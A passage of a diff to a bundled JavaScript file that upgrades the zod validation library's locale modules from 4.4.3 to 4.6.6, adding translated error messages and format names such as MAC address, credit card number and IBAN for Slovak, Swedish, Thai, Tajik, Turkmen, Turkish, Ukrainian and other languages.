`Hodnota je pr\xEDli\u0161 ve\u013Ek\xE1: ${issue2.origin ?? "hodnota"} mus\xED ma\u0165 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "prvkov"}`; + } + return `Hodnota je pr\xEDli\u0161 ve\u013Ek\xE1: ${issue2.origin ?? "hodnota"} mus\xED by\u0165 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `Hodnota je pr\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED ma\u0165 ${adj}${issue2.minimum.toString()} ${sizing.unit ?? "prvkov"}`; + } + return `Hodnota je pr\xEDli\u0161 mal\xE1: ${issue2.origin ?? "hodnota"} mus\xED by\u0165 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Neplatn\xFD re\u0165azec: mus\xED za\u010D\xEDna\u0165 na "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `Neplatn\xFD re\u0165azec: mus\xED kon\u010Di\u0165 na "${_issue.suffix}"`; + if (_issue.format === "includes") + return `Neplatn\xFD re\u0165azec: mus\xED obsahova\u0165 "${_issue.includes}"`; + if (_issue.format === "regex") + return `Neplatn\xFD re\u0165azec: mus\xED zodpoveda\u0165 vzoru ${_issue.pattern}`; + return `Neplatn\xFD form\xE1t ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Neplatn\xE9 \u010D\xEDslo: mus\xED by\u0165 n\xE1sobkom ${issue2.divisor}`; + case "unrecognized_keys": + return `Nezn\xE1me kl\xFA\u010De: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `Neplatn\xFD kl\xFA\u010D v ${issue2.origin}`; + case "invalid_union": + return "Neplatn\xFD vstup"; + case "invalid_element": + return `Neplatn\xE1 hodnota v ${issue2.origin}`; + default: + return `Neplatn\xFD vstup`; + } + }; +}; +function sk_default() { + return { + localeError: error47() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sl.js +var error48 = () => { const Sizable = { string: { unit: "znakov", verb: "imeti" }, file: { unit: "bajtov", verb: "imeti" }, array: { unit: "elementov", verb: "imeti" }, - set: { unit: "elementov", verb: "imeti" } + set: { unit: "elementov", verb: "imeti" }, + map: { unit: "elementov", verb: "imeti" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63777,12 +66067,16 @@ var error39 = () => { duration: "ISO trajanje", ipv4: "IPv4 naslov", ipv6: "IPv6 naslov", + mac: "MAC naslov", cidrv4: "obseg IPv4", cidrv6: "obseg IPv6", base64: "base64 kodiran niz", base64url: "base64url kodiran niz", json_string: "JSON niz", e164: "E.164 \u0161tevilka", + credit_card: "\u0161tevilka kreditne kartice", + currency_code: "koda valute", + iban: "IBAN", jwt: "JWT", template_literal: "vnos" }; @@ -63851,17 +66145,18 @@ var error39 = () => { }; function sl_default() { return { - localeError: error39() + localeError: error48() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/sv.js -var error40 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/sv.js +var error49 = () => { const Sizable = { string: { unit: "tecken", verb: "att ha" }, file: { unit: "bytes", verb: "att ha" }, array: { unit: "objekt", verb: "att inneh\xE5lla" }, - set: { unit: "objekt", verb: "att inneh\xE5lla" } + set: { unit: "objekt", verb: "att inneh\xE5lla" }, + map: { unit: "objekt", verb: "att inneh\xE5lla" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63885,14 +66180,18 @@ var error40 = () => { date: "ISO-datum", time: "ISO-tid", duration: "ISO-varaktighet", - ipv4: "IPv4-intervall", - ipv6: "IPv6-intervall", + ipv4: "IPv4-adress", + ipv6: "IPv6-adress", + mac: "MAC-adress", cidrv4: "IPv4-spektrum", cidrv6: "IPv6-spektrum", base64: "base64-kodad str\xE4ng", base64url: "base64url-kodad str\xE4ng", json_string: "JSON-str\xE4ng", e164: "E.164-nummer", + credit_card: "kreditkortsnummer", + currency_code: "valutakod", + iban: "IBAN", jwt: "JWT", template_literal: "mall-literal" }; @@ -63962,17 +66261,18 @@ var error40 = () => { }; function sv_default() { return { - localeError: error40() + localeError: error49() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ta.js -var error41 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ta.js +var error50 = () => { const Sizable = { string: { unit: "\u0B8E\u0BB4\u0BC1\u0BA4\u0BCD\u0BA4\u0BC1\u0B95\u0BCD\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, file: { unit: "\u0BAA\u0BC8\u0B9F\u0BCD\u0B9F\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, array: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, - set: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" } + set: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" }, + map: { unit: "\u0B89\u0BB1\u0BC1\u0BAA\u0BCD\u0BAA\u0BC1\u0B95\u0BB3\u0BCD", verb: "\u0B95\u0BCA\u0BA3\u0BCD\u0B9F\u0BBF\u0BB0\u0BC1\u0B95\u0BCD\u0B95 \u0BB5\u0BC7\u0BA3\u0BCD\u0B9F\u0BC1\u0BAE\u0BCD" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -63998,12 +66298,16 @@ var error41 = () => { duration: "ISO \u0B95\u0BBE\u0BB2 \u0B85\u0BB3\u0BB5\u0BC1", ipv4: "IPv4 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", ipv6: "IPv6 \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", + mac: "MAC \u0BAE\u0BC1\u0B95\u0BB5\u0BB0\u0BBF", cidrv4: "IPv4 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", cidrv6: "IPv6 \u0BB5\u0BB0\u0BAE\u0BCD\u0BAA\u0BC1", base64: "base64-encoded \u0B9A\u0BB0\u0BAE\u0BCD", base64url: "base64url-encoded \u0B9A\u0BB0\u0BAE\u0BCD", json_string: "JSON \u0B9A\u0BB0\u0BAE\u0BCD", e164: "E.164 \u0B8E\u0BA3\u0BCD", + credit_card: "\u0B95\u0B9F\u0BA9\u0BCD \u0B85\u0B9F\u0BCD\u0B9F\u0BC8 \u0B8E\u0BA3\u0BCD", + currency_code: "\u0BA8\u0BBE\u0BA3\u0BAF\u0B95\u0BCD \u0B95\u0BC1\u0BB1\u0BBF\u0BAF\u0BC0\u0B9F\u0BC1", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -64073,17 +66377,135 @@ var error41 = () => { }; function ta_default() { return { - localeError: error41() + localeError: error50() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/th.js -var error42 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tg.js +var error51 = () => { + const Sizable = { + string: { unit: "\u0430\u043B\u043E\u043C\u0430\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + file: { unit: "\u0431\u0430\u0439\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + array: { unit: "\u0443\u043D\u0441\u0443\u0440", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + set: { unit: "\u0443\u043D\u0441\u0443\u0440", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" }, + map: { unit: "\u0441\u0430\u0431\u0442", verb: "\u0434\u043E\u0448\u0442\u0430 \u0431\u043E\u0448\u0430\u0434" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0432\u0443\u0440\u0443\u0434", + email: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 email", + url: "URL", + emoji: "\u044D\u043C\u043E\u04B7\u0438", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0441\u0430\u043D\u0430\u0432\u0443 \u0432\u0430\u049B\u0442\u0438 ISO", + date: "\u0441\u0430\u043D\u0430\u0438 ISO", + time: "\u0432\u0430\u049B\u0442\u0438 ISO", + duration: "\u0434\u0430\u0432\u043E\u043C\u043D\u043E\u043A\u0438\u0438 ISO", + ipv4: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 IPv4", + ipv6: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 IPv6", + mac: "\u0441\u0443\u0440\u043E\u0493\u0430\u0438 MAC", + cidrv4: "\u043C\u0430\u04B3\u0434\u0443\u0434\u0430\u0438 IPv4", + cidrv6: "\u043C\u0430\u04B3\u0434\u0443\u0434\u0430\u0438 IPv6", + base64: "\u0441\u0430\u0442\u0440\u0438 \u0434\u0430\u0440 \u0444\u043E\u0440\u043C\u0430\u0442\u0438 base64", + base64url: "\u0441\u0430\u0442\u0440\u0438 \u0434\u0430\u0440 \u0444\u043E\u0440\u043C\u0430\u0442\u0438 base64url", + json_string: "\u0441\u0430\u0442\u0440\u0438 JSON", + e164: "\u0440\u0430\u049B\u0430\u043C\u0438 E.164", + credit_card: "\u0440\u0430\u049B\u0430\u043C\u0438 \u043A\u043E\u0440\u0442\u0438 \u043A\u0440\u0435\u0434\u0438\u0442\u04E3", + currency_code: "\u0440\u0430\u043C\u0437\u0438 \u0430\u0441\u044A\u043E\u0440", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0432\u0443\u0440\u0443\u0434" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u0440\u0430\u049B\u0430\u043C", + string: "\u0441\u0430\u0442\u0440", + array: "\u043C\u0430\u0441\u0441\u0438\u0432", + object: "\u043E\u0431\u044A\u0435\u043A\u0442", + date: "\u0441\u0430\u043D\u0430" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: ${expected} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442, ${received} \u0433\u0438\u0440\u0438\u0444\u0442\u0430 \u0448\u0443\u0434`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: ${stringifyPrimitive(issue2.values[0])} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + return `\u0418\u043D\u0442\u0438\u0445\u043E\u0431\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u044F\u043A\u0435 \u0430\u0437 ${joinValues(issue2.values, "|")} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0425\u0435\u043B\u0435 \u043A\u0430\u043B\u043E\u043D: ${issue2.origin ?? "\u049B\u0438\u043C\u0430\u0442"} \u0431\u043E\u044F\u0434 ${adj}${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0425\u0435\u043B\u0435 \u043A\u0430\u043B\u043E\u043D: ${issue2.origin ?? "\u049B\u0438\u043C\u0430\u0442"} \u0431\u043E\u044F\u0434 ${adj}${issue2.maximum.toString()} \u0431\u043E\u0448\u0430\u0434`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0425\u0435\u043B\u0435 \u0445\u0443\u0440\u0434: ${issue2.origin} \u0431\u043E\u044F\u0434 ${adj}${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u0425\u0435\u043B\u0435 \u0445\u0443\u0440\u0434: ${issue2.origin} \u0431\u043E\u044F\u0434 ${adj}${issue2.minimum.toString()} \u0431\u043E\u0448\u0430\u0434`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u043E "${_issue.prefix}" \u043E\u0493\u043E\u0437 \u0448\u0430\u0432\u0430\u0434`; + if (_issue.format === "ends_with") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u043E "${_issue.suffix}" \u0430\u043D\u04B7\u043E\u043C \u0451\u0431\u0430\u0434`; + if (_issue.format === "includes") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 "${_issue.includes}"-\u0440\u043E \u0434\u0430\u0440 \u0431\u0430\u0440 \u0433\u0438\u0440\u0430\u0434`; + if (_issue.format === "regex") + return `\u0421\u0430\u0442\u0440\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u0430 \u043D\u0430\u043C\u0443\u043D\u0430\u0438 ${_issue.pattern} \u043C\u0443\u0432\u043E\u0444\u0438\u049B\u0430\u0442 \u043A\u0443\u043D\u0430\u0434`; + return `${FormatDictionary[_issue.format] ?? issue2.format}-\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442`; + } + case "not_multiple_of": + return `\u0420\u0430\u049B\u0430\u043C\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442: \u0431\u043E\u044F\u0434 \u0431\u0430 ${issue2.divisor} \u0431\u0435 \u0431\u0430\u049B\u0438\u044F \u0442\u0430\u049B\u0441\u0438\u043C \u0448\u0430\u0432\u0430\u0434`; + case "unrecognized_keys": + return `\u041A\u0430\u043B\u0438\u0434${issue2.keys.length > 1 ? "\u04B3\u043E\u0438" : "\u0438"} \u043D\u043E\u043C\u0430\u044A\u043B\u0443\u043C: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u041A\u0430\u043B\u0438\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442 \u0434\u0430\u0440 ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u049A\u0438\u043C\u0430\u0442\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442\u0438 \u0434\u0438\u0441\u043A\u0440\u0438\u043C\u0438\u043D\u0430\u0442\u043E\u0440: ${opts} \u0438\u043D\u0442\u0438\u0437\u043E\u0440 \u043C\u0435\u0440\u0430\u0444\u0442`; + } + return "\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442"; + case "invalid_element": + return `\u049A\u0438\u043C\u0430\u0442\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442 \u0434\u0430\u0440 ${issue2.origin}`; + default: + return `\u0412\u0443\u0440\u0443\u0434\u0438 \u043D\u043E\u0434\u0443\u0440\u0443\u0441\u0442`; + } + }; +}; +function tg_default() { + return { + localeError: error51() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/th.js +var error52 = () => { const Sizable = { string: { unit: "\u0E15\u0E31\u0E27\u0E2D\u0E31\u0E01\u0E29\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, file: { unit: "\u0E44\u0E1A\u0E15\u0E4C", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, array: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, - set: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" } + set: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, + map: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64109,12 +66531,16 @@ var error42 = () => { duration: "\u0E0A\u0E48\u0E27\u0E07\u0E40\u0E27\u0E25\u0E32\u0E41\u0E1A\u0E1A ISO", ipv4: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv4", ipv6: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv6", + mac: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 MAC", cidrv4: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv4", cidrv6: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv6", base64: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64", base64url: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64 \u0E2A\u0E33\u0E2B\u0E23\u0E31\u0E1A URL", json_string: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A JSON", e164: "\u0E40\u0E1A\u0E2D\u0E23\u0E4C\u0E42\u0E17\u0E23\u0E28\u0E31\u0E1E\u0E17\u0E4C\u0E23\u0E30\u0E2B\u0E27\u0E48\u0E32\u0E07\u0E1B\u0E23\u0E30\u0E40\u0E17\u0E28 (E.164)", + credit_card: "\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E1A\u0E31\u0E15\u0E23\u0E40\u0E04\u0E23\u0E14\u0E34\u0E15", + currency_code: "\u0E23\u0E2B\u0E31\u0E2A\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19", + iban: "IBAN", jwt: "\u0E42\u0E17\u0E40\u0E04\u0E19 JWT", template_literal: "\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25\u0E17\u0E35\u0E48\u0E1B\u0E49\u0E2D\u0E19" }; @@ -64184,17 +66610,126 @@ var error42 = () => { }; function th_default() { return { - localeError: error42() + localeError: error52() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/tr.js -var error43 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tk.js +var error53 = () => { + const Sizable = { + string: { unit: "simwol", verb: "bolmaly" }, + file: { unit: "ba\xFDt", verb: "bolmaly" }, + array: { unit: "elementler", verb: "bolmaly" }, + set: { unit: "elementler", verb: "bolmaly" }, + map: { unit: "elementler", verb: "bolmaly" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "giri\u015F", + email: "e-po\xE7ta salgysy", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO sene we wagt", + date: "ISO sene", + time: "ISO wagt", + duration: "ISO wagt aralygy", + ipv4: "IPv4 salgysy", + ipv6: "IPv6 salgysy", + mac: "MAC salgysy", + cidrv4: "IPv4 aralygy", + cidrv6: "IPv6 aralygy", + base64: "base64 bilen \u015Fifrlenen setir", + base64url: "base64url bilen \u015Fifrlenen setir", + json_string: "JSON setiri", + e164: "E.164 nomeri", + credit_card: "kredit kartyny\u0148 nomeri", + currency_code: "wal\xFDuta kody", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u015Fablon" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `N\xE4dogry baha: gara\u015Fylan ${expected} \xFDerine ${received} alyndy`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `N\xE4dogry baha: ${stringifyPrimitive(issue2.values[0])} bolmaly`; + return `N\xE4dogry sa\xFDlaw: a\u015Fakdakylardan biri bolmaly: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Has uly: gara\u015Fyl\xFDan ${issue2.origin ?? "baha"} ${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "element"}`; + return `Has uly: gara\u015Fyl\xFDan ${issue2.origin ?? "baha"} ${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `Has ki\xE7i: gara\u015Fyl\xFDan ${issue2.origin} ${adj} ${issue2.minimum.toString()} ${sizing.unit}`; + return `Has ki\xE7i: gara\u015Fyl\xFDan ${issue2.origin} ${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `N\xE4dogry setir: "${_issue.prefix}" bilen ba\u015Flamaly`; + if (_issue.format === "ends_with") + return `N\xE4dogry setir: "${_issue.suffix}" bilen gutarmaly`; + if (_issue.format === "includes") + return `N\xE4dogry setir: "${_issue.includes}" saklamaly`; + if (_issue.format === "regex") + return `N\xE4dogry setir: ${_issue.pattern} nusga la\xFDyk bolmaly`; + return `N\xE4dogry ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `N\xE4dogry san: ${issue2.divisor} bilen galyndysyz b\xF6l\xFCnmeli`; + case "unrecognized_keys": + return `Tanalma\xFDan a\xE7ar${issue2.keys.length > 1 ? "lar" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} i\xE7inde n\xE4dogry a\xE7ar`; + case "invalid_union": + return "N\xE4dogry baha"; + case "invalid_element": + return `${issue2.origin} i\xE7inde n\xE4dogry baha`; + default: + return `N\xE4dogry baha`; + } + }; +}; +function tk_default() { + return { + localeError: error53() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/tr.js +var error54 = () => { const Sizable = { string: { unit: "karakter", verb: "olmal\u0131" }, file: { unit: "bayt", verb: "olmal\u0131" }, array: { unit: "\xF6\u011Fe", verb: "olmal\u0131" }, - set: { unit: "\xF6\u011Fe", verb: "olmal\u0131" } + set: { unit: "\xF6\u011Fe", verb: "olmal\u0131" }, + map: { unit: "\xF6\u011Fe", verb: "olmal\u0131" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64220,12 +66755,16 @@ var error43 = () => { duration: "ISO s\xFCre", ipv4: "IPv4 adresi", ipv6: "IPv6 adresi", + mac: "MAC adresi", cidrv4: "IPv4 aral\u0131\u011F\u0131", cidrv6: "IPv6 aral\u0131\u011F\u0131", base64: "base64 ile \u015Fifrelenmi\u015F metin", base64url: "base64url ile \u015Fifrelenmi\u015F metin", json_string: "JSON dizesi", e164: "E.164 say\u0131s\u0131", + credit_card: "kredi kart\u0131 numaras\u0131", + currency_code: "para birimi kodu", + iban: "IBAN", jwt: "JWT", template_literal: "\u015Eablon dizesi" }; @@ -64290,17 +66829,18 @@ var error43 = () => { }; function tr_default() { return { - localeError: error43() + localeError: error54() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uk.js -var error44 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/uk.js +var error55 = () => { const Sizable = { string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, file: { unit: "\u0431\u0430\u0439\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, array: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, - set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" } + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, + map: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64326,12 +66866,16 @@ var error44 = () => { duration: "\u0442\u0440\u0438\u0432\u0430\u043B\u0456\u0441\u0442\u044C ISO", ipv4: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv4", ipv6: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv6", + mac: "\u0430\u0434\u0440\u0435\u0441\u0430 MAC", cidrv4: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv4", cidrv6: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv6", base64: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64", base64url: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64url", json_string: "\u0440\u044F\u0434\u043E\u043A JSON", e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + credit_card: "\u043D\u043E\u043C\u0435\u0440 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u043E\u0457 \u043A\u0430\u0440\u0442\u043A\u0438", + currency_code: "\u043A\u043E\u0434 \u0432\u0430\u043B\u044E\u0442\u0438", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u0445\u0456\u0434\u043D\u0456 \u0434\u0430\u043D\u0456" }; @@ -64399,22 +66943,23 @@ var error44 = () => { }; function uk_default() { return { - localeError: error44() + localeError: error55() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ua.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ua.js function ua_default() { return uk_default(); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ur.js -var error45 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ur.js +var error56 = () => { const Sizable = { string: { unit: "\u062D\u0631\u0648\u0641", verb: "\u06C1\u0648\u0646\u0627" }, file: { unit: "\u0628\u0627\u0626\u0679\u0633", verb: "\u06C1\u0648\u0646\u0627" }, array: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" }, - set: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" } + set: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" }, + map: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -64440,12 +66985,16 @@ var error45 = () => { duration: "\u0622\u0626\u06CC \u0627\u06CC\u0633 \u0627\u0648 \u0645\u062F\u062A", ipv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0627\u06CC\u0688\u0631\u06CC\u0633", ipv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0627\u06CC\u0688\u0631\u06CC\u0633", + mac: "\u0627\u06CC\u0645 \u0627\u06D2 \u0633\u06CC \u0627\u06CC\u0688\u0631\u06CC\u0633", cidrv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0631\u06CC\u0646\u062C", cidrv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0631\u06CC\u0646\u062C", base64: "\u0628\u06CC\u0633 64 \u0627\u0646 \u06A9\u0648\u0688\u0688 